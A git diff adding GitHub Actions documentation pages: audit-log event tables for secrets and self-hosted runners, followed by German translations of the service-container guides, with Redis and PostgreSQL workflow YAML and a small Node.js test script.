+If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)."
+
+{% endif %}
+
+## Auditing {% data variables.product.prodname_actions %} events
+
+You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which personal account performed the action.
+
+For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets:
+  ![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+
+The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see
+"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)" and "[Reviewing audit logs for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)."
+
+{% ifversion fpt or ghec %}
+### Events for environments
+
+| Action | Description
+|------------------|-------------------
+| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)."
+| `environment.remove_actions_secret` |  Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+### Events for configuration changes
+| Action | Description
+|------------------|-------------------
+| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)."
+| `repo.update_actions_access_settings` | Triggered when the setting to control how your repository is used by {% data variables.product.prodname_actions %} workflows in other repositories is changed.
+{% endif %}
+
+### Events for secret management
+| Action | Description
+|------------------|-------------------
+| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."
+| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
+| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
+| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
+| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
+| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
+
+### Events for self-hosted runners
+| Action | Description
+|------------------|-------------------
+| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)."
+| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed.
+| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
+| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)."
+| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)."
+| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization).
+| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
+| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
+| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)."
+| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."
+| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
+
+### Events for self-hosted runner groups
+| Action | Description
+|------------------|-------------------
+| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)."
+| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
+| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group.
+| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
+| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)."
+| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
+| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
+| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)."
+
+### Events for workflow activities
+
+{% data reusables.actions.actions-audit-events-workflow %}
diff --git a/translations/de-DE/content/actions/using-containerized-services/about-service-containers.md b/translations/de-DE/content/actions/using-containerized-services/about-service-containers.md
new file mode 100644
index 0000000000..e02cace286
--- /dev/null
+++ b/translations/de-DE/content/actions/using-containerized-services/about-service-containers.md
@@ -0,0 +1,127 @@
+---
+title: Informationen zu Service-Containern
+intro: 'Du kannst Service-Container verwenden, um Datenbanken, Webdienste, Speicher-Caches und andere Tools mit deinem Workflow zu verbinden.'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/about-service-containers
+  - /actions/configuring-and-managing-workflows/about-service-containers
+  - /actions/guides/about-service-containers
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Containers
+  - Docker
+ms.openlocfilehash: 67bfb403bb18f7364e000170ce71f9387d4ada69
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145107156'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zu Service-Containern
+
+Service-Container sind Docker-Container, die Dir eine einfache und portable Möglichkeit bieten, Dienste zu hosten, um Deine Anwendung in einem Workflow zu testen oder zu betreiben. Beispielsweise muss Dein Workflow möglicherweise Integrationstests ausführen, die Zugriff auf eine Datenbank und einen Speicher-Cache erfordern.
+
+Du kannst Service-Container für jeden Job in einem Workflow konfigurieren. Für jeden Service, der im Workflow konfiguriert ist, erstellt {% data variables.product.prodname_dotcom %} einen neuen Docker-Container und löscht den Service Container, wenn der Auftrag abgeschlossen ist. Steps (Schritte) in einem Job können mit allen Service-Containern kommunizieren, die Teil des gleichen Jobs sind. Du kannst jedoch keine Service-Container innerhalb einer zusammengesetzten Aktion erstellen und verwenden. 
+
+{% data reusables.actions.docker-container-os-support %}
+
+## Mit Service-Containern kommunizieren
+
+Du kannst Jobs in einem Workflow so konfigurieren, dass sie direkt auf einer Runner-Maschine oder in einem Docker-Container laufen. Die Kommunikation zwischen einem Job und seinen Service-Containern ist unterscherschiedlich, je nachdem, ob ein Job direkt auf der Runner-Maschine oder in einem Container läuft.
+
+### Jobs in einem Container ausführen
+
+Wenn Du Jobs in einem Container ausführst, verbindet {% data variables.product.prodname_dotcom %} die Service-Container mit dem Job über die benutzerdefinierten Bridge-Netzwerke von Docker. Weitere Informationen findest du in der Docker-Dokumentation unter [Verwenden von Brückennetzwerken](https://docs.docker.com/network/bridge/).
+
+Jobs und der Services in einem Container laufen zu lassen, vereinfacht den Netzwerkzugriff. Du kannst auf einen Service-Container mittels des Labels (Bezeichnung) zugreifen, den Du im Workflow konfigurierst. Der Hostname des Service-Containers wird automatisch dem Labelnamen zugeordnet. Wenn du z. B. einen Service-Container mit der Bezeichnung `redis` erstellst, ist auch der Hostname des Service-Containers `redis`.
+
+Du brauchst für Service-Container keine Ports zu konfigurieren. Standardmäßig machen alle Container, die Teil desselben Docker-Netzwerks sind, alle Ports füreinander verfügbar, und außerhalb des Docker-Netzwerks werden keine Ports verfügbar gemacht.
+
+### Jobs auf der Runner-Maschine ausführen
+
+Wenn du Aufträge direkt auf dem Runnercomputer ausführst, kannst du mit `localhost:<port>` oder `127.0.0.1:<port>` auf Service-Container zugreifen. {% data variables.product.prodname_dotcom %} konfiguriert das Container-Netzwerk, um die Kommunikation vom Service-Container zum Docker-Host zu ermöglichen.
+
+Wenn ein Job direkt auf einer Runner-Maschine läuft, macht der im Docker-Container laufende Dienst seine Ports nicht standardmäßig dem Job auf dem Runner verfügbar. Du musst Ports auf dem Service-Container dem Docker Host zuordnen. Weitere Informationen findest du unter [Zuordnen von Docker-Host- und Service-Container-Ports](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports).
+
+## Service-Container erstellen
+
+Du kannst das Schlüsselwort `services` verwenden, um Service-Container zu erstellen, die Teil eines Jobs in deinem Workflow sind. Weitere Informationen findest du unter [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+
+In diesem Beispiel wird ein Dienst namens `redis` in einem Auftrag namens `container-job` erstellt. Der Docker-Host ist in diesem Beispiel der `node:16-bullseye`-Container.
+
+{% raw %}
+```yaml{:copy}
+name: Redis container example
+on: push
+
+jobs:
+  # Label of the container job
+  container-job:
+    # Containers must run in Linux based operating systems
+    runs-on: ubuntu-latest
+    # Docker Hub image that `container-job` executes in
+    container: node:16-bullseye
+
+    # Service containers to run with `container-job`
+    services:
+      # Label used to access the service container
+      redis:
+        # Docker Hub image
+        image: redis
+```
+{% endraw %}
+
+## Ports von Docker-Host und Service-Container zuordnen
+
+Wenn Dein Job in einem Docker-Container läuft, brauchst Du keine Ports auf dem Host oder dem Service-Container zuzuordnen. Wenn Dein Job direkt auf der Runner-Maschine läuft, musst Du alle benötigten Service-Container-Ports zu Ports der Host-Runner-Maschine zuordnen.
+
+Du kannst Service-Container-Ports mit Hilfe des Schlüsseworts `ports` dem Docker-Host zuordnen. Weitere Informationen findest du unter [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+
+| Wert von `ports` |    BESCHREIBUNG |
+|------------------|--------------|
+| `8080:80` |   Ordnet TCP-Port 80 im Container dem Port 8080 auf dem Docker-Host zu. |
+| `8080:80/udp` |   Ordnet UDP-Port 80 im Container dem Port 8080 auf dem Docker-Host zu. |
+| `8080/udp`    | Ordnet einen zufällig gewählten UDP-Port im Container dem UDP-Port 8080 auf dem Docker-Host zu. |
+
+Wenn du Ports mit dem Schlüsselwort `ports` zuordnest, veröffentlicht {% data variables.product.prodname_dotcom %} die Ports des Containers mit dem Befehl `--publish` auf dem Docker-Host. Weitere Informationen findest du in der Docker-Dokumentation unter [Docker-Containernetzwerke](https://docs.docker.com/config/containers/container-networking/).
+
+Wenn Du den Port des Docker-Hosts angibst, aber nicht den des Containers, dann wird der Container-Port zufällig einem freien Port zugewiesen. {% data variables.product.prodname_dotcom %} setzt den zugewiesenen Container-Port im Kontext des Service-Containers. Wenn du beispielsweise den Port 5432 für den Docker-Host konfiguriert hast, kannst Du für einen Service-Container `redis` mit dem Kontext `job.services.redis.ports[5432]` auf den entsprechenden Port des Containers zugreifen. Weitere Informationen findest du unter [Kontexte](/actions/learn-github-actions/contexts#job-context).
+
+### Beispiel zur Zuordnung von Redis-Ports
+
+Dieses Beispiel ordnet den Port 6379 des Service-Containers `redis` dem Port 6379 des Docker-Hosts zu.
+
+{% raw %}
+```yaml{:copy}
+name: Redis Service Example
+on: push
+
+jobs:
+  # Label of the container job
+  runner-job:
+    # You must use a Linux environment when using service containers or container jobs
+    runs-on: ubuntu-latest
+
+    # Service containers to run with `runner-job`
+    services:
+      # Label used to access the service container
+      redis:
+        # Docker Hub image
+        image: redis
+        #
+        ports:
+          # Opens tcp port 6379 on the host and service container
+          - 6379:6379
+```
+{% endraw %}
+
+## Weiterführende Themen
+
+- [Erstellen von Redis-Service-Containern](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers)
+- [Erstellen von PostgreSQL-Service-Containern](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers)
diff --git a/translations/de-DE/content/actions/using-containerized-services/creating-postgresql-service-containers.md b/translations/de-DE/content/actions/using-containerized-services/creating-postgresql-service-containers.md
new file mode 100644
index 0000000000..0502e9a503
--- /dev/null
+++ b/translations/de-DE/content/actions/using-containerized-services/creating-postgresql-service-containers.md
@@ -0,0 +1,341 @@
+---
+title: PostgreSQL-Service-Container erstellen
+shortTitle: PostgreSQL service containers
+intro: 'Du kannst einen PostgreSQL-Service-Container zur Verwendung in Deinem Workflow erstellen. Dieser Leitfaden zeigt Beispiele für die Erstellung eines PostgreSQL-Dienstes für Jobs, die in Containern oder direkt auf der Runner-Maschine laufen.'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers
+  - /actions/configuring-and-managing-workflows/creating-postgresql-service-containers
+  - /actions/guides/creating-postgresql-service-containers
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Containers
+  - Docker
+ms.openlocfilehash: 9d5ad3e32e5df22101b61aa7ba134e7fe69333e5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145107152'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Dieser Leitfaden enthält Workflowbeispiele, in denen ein Dienstcontainer unter Verwendung des Docker Hub-Images `postgres` konfiguriert wird. Der Workflow führt ein Skript aus, das eine Verbindung mit dem PostgreSQL-Dienst herstellt, eine Tabelle erstellt und diese Tabelle dann mit Daten auffüllt. Um zu testen, ob der Workflow die PostgreSQL-Tabelle erstellt und mit Daten auffüllt, gibt das Skript die Daten aus der Tabelle in der Konsole aus.
+
+{% data reusables.actions.docker-container-os-support %}
+
+## Voraussetzungen
+
+{% data reusables.actions.service-container-prereqs %}
+
+Es kann Dir auch helfen, YAML, die Syntax für {% data variables.product.prodname_actions %} und PostgreSQL grundlegende zu verstehen. Weitere Informationen finden Sie unter
+
+- [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+- [PostgreSQL-Tutorial](https://www.postgresqltutorial.com/) in der PostgreSQL-Dokumentation
+
+## Jobs in Containern ausführen
+
+{% data reusables.actions.container-jobs-intro %}
+
+{% data reusables.actions.copy-workflow-file %}
+
+```yaml{:copy}
+name: PostgreSQL service example
+on: push
+
+jobs:
+  # Label of the container job
+  container-job:
+    # Containers must run in Linux based operating systems
+    runs-on: ubuntu-latest
+    # Docker Hub image that `container-job` executes in
+    container: node:10.18-jessie
+
+    # Service containers to run with `container-job`
+    services:
+      # Label used to access the service container
+      postgres:
+        # Docker Hub image
+        image: postgres
+        # Provide the password for postgres
+        env:
+          POSTGRES_PASSWORD: postgres
+        # Set health checks to wait until postgres has started
+        options: >-
+          --health-cmd pg_isready
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
+
+    steps:
+      # Downloads a copy of the code in your repository before running CI tests
+      - name: Check out repository code
+        uses: {% data reusables.actions.action-checkout %}
+
+      # Performs a clean installation of all dependencies in the `package.json` file
+      # For more information, see https://docs.npmjs.com/cli/ci.html
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Connect to PostgreSQL
+        # Runs a script that creates a PostgreSQL table, populates
+        # the table with data, and then retrieves the data.
+        run: node client.js
+        # Environment variables used by the `client.js` script to create a new PostgreSQL table.
+        env:
+          # The hostname used to communicate with the PostgreSQL service container
+          POSTGRES_HOST: postgres
+          # The default PostgreSQL port
+          POSTGRES_PORT: 5432
+```
+
+### Runner-Job konfigurieren
+
+{% data reusables.actions.service-container-host %}
+
+{% data reusables.actions.postgres-label-description %}
+
+```yaml{:copy}
+jobs:
+  # Label of the container job
+  container-job:
+    # Containers must run in Linux based operating systems
+    runs-on: ubuntu-latest
+    # Docker Hub image that `container-job` executes in
+    container: node:10.18-jessie
+
+    # Service containers to run with `container-job`
+    services:
+      # Label used to access the service container
+      postgres:
+        # Docker Hub image
+        image: postgres
+        # Provide the password for postgres
+        env:
+          POSTGRES_PASSWORD: postgres
+        # Set health checks to wait until postgres has started
+        options: >-
+          --health-cmd pg_isready
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
+```
+
+### „Steps“ (Schritte) konfigurieren
+
+{% data reusables.actions.service-template-steps %}
+
+```yaml{:copy}
+steps:
+  # Downloads a copy of the code in your repository before running CI tests
+  - name: Check out repository code
+    uses: {% data reusables.actions.action-checkout %}
+
+  # Performs a clean installation of all dependencies in the `package.json` file
+  # For more information, see https://docs.npmjs.com/cli/ci.html
+  - name: Install dependencies
+    run: npm ci
+
+  - name: Connect to PostgreSQL
+    # Runs a script that creates a PostgreSQL table, populates
+    # the table with data, and then retrieves the data.
+    run: node client.js
+    # Environment variable used by the `client.js` script to create
+    # a new PostgreSQL client.
+    env:
+      # The hostname used to communicate with the PostgreSQL service container
+      POSTGRES_HOST: postgres
+      # The default PostgreSQL port
+      POSTGRES_PORT: 5432
+```
+
+{% data reusables.actions.postgres-environment-variables %}
+
+Der Hostname des PostgreSQL-Diensts ist die Bezeichnung, die du in deinem Workflow konfiguriert hast (in diesem Fall: `postgres`). Da Docker-Container im gleichen benutzerdefinierten Bridge-Netzwerk standardmäßig alle Ports öffnen, kannst Du auf den Service-Container durch den standardmäßigen PostgreSQL-Port 5432 zugreifen.
+
+## Jobs direkt auf der Runner-Maschine ausführen
+
+Wenn Du einen Job direkt auf der Runner-Maschine ausführst, musst Du die Ports des Service-Containers den Ports des Docker-Hosts zuordnen. Du kannst vom Docker-Host aus auf Dienstcontainer zugreifen, indem du `localhost` und die Portnummer des Docker-Hosts verwendest.
+
+{% data reusables.actions.copy-workflow-file %}
+
+```yaml{:copy}
+name: PostgreSQL Service Example
+on: push
+
+jobs:
+  # Label of the runner job
+  runner-job:
+    # You must use a Linux environment when using service containers or container jobs
+    runs-on: ubuntu-latest
+
+    # Service containers to run with `runner-job`
+    services:
+      # Label used to access the service container
+      postgres:
+        # Docker Hub image
+        image: postgres
+        # Provide the password for postgres
+        env:
+          POSTGRES_PASSWORD: postgres
+        # Set health checks to wait until postgres has started
+        options: >-
+          --health-cmd pg_isready
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
+        ports:
+          # Maps tcp port 5432 on service container to the host
+          - 5432:5432
+
+    steps:
+      # Downloads a copy of the code in your repository before running CI tests
+      - name: Check out repository code
+        uses: {% data reusables.actions.action-checkout %}
+
+      # Performs a clean installation of all dependencies in the `package.json` file
+      # For more information, see https://docs.npmjs.com/cli/ci.html
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Connect to PostgreSQL
+        # Runs a script that creates a PostgreSQL table, populates
+        # the table with data, and then retrieves the data
+        run: node client.js
+        # Environment variables used by the `client.js` script to create
+        # a new PostgreSQL table.
+        env:
+          # The hostname used to communicate with the PostgreSQL service container
+          POSTGRES_HOST: localhost
+          # The default PostgreSQL port
+          POSTGRES_PORT: 5432
+```
+
+### Runner-Job konfigurieren
+
+{% data reusables.actions.service-container-host-runner %}
+
+{% data reusables.actions.postgres-label-description %}
+
+Der Workflow ordnet Port 5432 des PostgreSQL-Service-Containers dem Docker-Host zu. Weitere Informationen zum Schlüsselwort `ports` findest du unter [Informationen zu Dienstcontainern](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports).
+
+```yaml{:copy}
+jobs:
+  # Label of the runner job
+  runner-job:
+    # You must use a Linux environment when using service containers or container jobs
+    runs-on: ubuntu-latest
+
+    # Service containers to run with `runner-job`
+    services:
+      # Label used to access the service container
+      postgres:
+        # Docker Hub image
+        image: postgres
+        # Provide the password for postgres
+        env:
+          POSTGRES_PASSWORD: postgres
+        # Set health checks to wait until postgres has started
+        options: >-
+          --health-cmd pg_isready
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
+        ports:
+          # Maps tcp port 5432 on service container to the host
+          - 5432:5432
+```
+
+### „Steps“ (Schritte) konfigurieren
+
+{% data reusables.actions.service-template-steps %}
+
+```yaml{:copy}
+steps:
+  # Downloads a copy of the code in your repository before running CI tests
+  - name: Check out repository code
+    uses: {% data reusables.actions.action-checkout %}
+
+  # Performs a clean installation of all dependencies in the `package.json` file
+  # For more information, see https://docs.npmjs.com/cli/ci.html
+  - name: Install dependencies
+    run: npm ci
+
+  - name: Connect to PostgreSQL
+    # Runs a script that creates a PostgreSQL table, populates
+    # the table with data, and then retrieves the data
+    run: node client.js
+    # Environment variables used by the `client.js` script to create
+    # a new PostgreSQL table.
+    env:
+      # The hostname used to communicate with the PostgreSQL service container
+      POSTGRES_HOST: localhost
+      # The default PostgreSQL port
+      POSTGRES_PORT: 5432
+```
+
+{% data reusables.actions.postgres-environment-variables %}
+
+{% data reusables.actions.service-container-localhost %}
+
+## Den PostgreSQL-Service-Container testen
+
+Du kannst deinen Workflow mithilfe des folgenden Skripts testen, das eine Verbindung mit dem PostgreSQL-Dienst herstellt und eine neue Tabelle mit einigen Platzhalterdaten hinzufügt. Anschließend gibt das Skript die in der PostgreSQL-Tabelle gespeicherten Werte im Terminal aus. Für das Skript kann eine beliebige Sprache verwendet werden. In diesem Beispiel werden jedoch Node.js und das npm-Modul `pg` genutzt. Weitere Informationen findest du unter dem [npm-Modul „pg“](https://www.npmjs.com/package/pg).
+
+Du kannst *client.js* anpassen, um alle PostgreSQL-Vorgänge einzuschließen, die für deinen Workflow erforderlich sind. In diesem Beispiel stellt das Skript eine Verbindung mit dem PostgreSQL-Dienst her, fügt der Datenbank `postgres` eine Tabelle hinzu, fügt einige Platzhalterdaten ein, und ruft anschließend die Daten ab.
+
+{% data reusables.actions.service-container-add-script %}
+
+```javascript{:copy}
+const { Client } = require('pg');
+
+const pgclient = new Client({
+    host: process.env.POSTGRES_HOST,
+    port: process.env.POSTGRES_PORT,
+    user: 'postgres',
+    password: 'postgres',
+    database: 'postgres'
+});
+
+pgclient.connect();
+
+const table = 'CREATE TABLE student(id SERIAL PRIMARY KEY, firstName VARCHAR(40) NOT NULL, lastName VARCHAR(40) NOT NULL, age INT, address VARCHAR(80), email VARCHAR(40))'
+const text = 'INSERT INTO student(firstname, lastname, age, address, email) VALUES($1, $2, $3, $4, $5) RETURNING *'
+const values = ['Mona the', 'Octocat', 9, '88 Colin P Kelly Jr St, San Francisco, CA 94107, United States', 'octocat@github.com']
+
+pgclient.query(table, (err, res) => {
+    if (err) throw err
+});
+
+pgclient.query(text, values, (err, res) => {
+    if (err) throw err
+});
+
+pgclient.query('SELECT * FROM student', (err, res) => {
+    if (err) throw err
+    console.log(err, res.rows) // Print the data in student table
+    pgclient.end()
+});
+```
+
+Das Skript erstellt eine neue Verbindung mit dem PostgreSQL-Dienst und verwendet die Umgebungsvariablen `POSTGRES_HOST` und `POSTGRES_PORT`, um die IP-Adresse und den Port des PostgreSQL-Diensts anzugeben. Wenn `host` und `port` nicht definiert sind, werden der Standardhost `localhost` und der Standardport 5432 verwendet.
+
+Das Skript erstellt eine Tabelle und füllt sie mit Platzhalterdaten auf. Um zu testen, ob die Datenbank `postgres` die Daten enthält, gibt das Skript den Inhalt der Tabelle im Konsolenprotokoll aus.
+
+Wenn du diesen Workflow ausführst, sollte im Schritt „Connect to PostgreSQL“ (Verbindung mit PostgreSQL herstellen) die folgende Ausgabe angezeigt werden, die bestätigt, dass die Erstellung der PostgreSQL-Tabelle und das Hinzufügen von Daten erfolgreich waren:
+
+```
+null [ { id: 1,
+    firstname: 'Mona the',
+    lastname: 'Octocat',
+    age: 9,
+    address:
+     '88 Colin P Kelly Jr St, San Francisco, CA 94107, United States',
+    email: 'octocat@github.com' } ]
+```
diff --git a/translations/de-DE/content/actions/using-containerized-services/creating-redis-service-containers.md b/translations/de-DE/content/actions/using-containerized-services/creating-redis-service-containers.md
new file mode 100644
index 0000000000..06a84b8825
--- /dev/null
+++ b/translations/de-DE/content/actions/using-containerized-services/creating-redis-service-containers.md
@@ -0,0 +1,331 @@
+---
+title: Redis-Service-Container erstellen
+shortTitle: Redis service containers
+intro: 'Du kannst Service-Container verwenden, um einen Redis-Client in Deinem Workflow zu erstellen. Dieser Leitfaden zeigt Beispiele für die Erstellung eines Redis-Dienstes für Jobs, die in Containern oder direkt auf der Runner-Maschine ausgeführt werden.'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/creating-redis-service-containers
+  - /actions/configuring-and-managing-workflows/creating-redis-service-containers
+  - /actions/guides/creating-redis-service-containers
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Containers
+  - Docker
+ms.openlocfilehash: c3b686d9d3aa8f3ae8710e63627eac6bca33d26d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
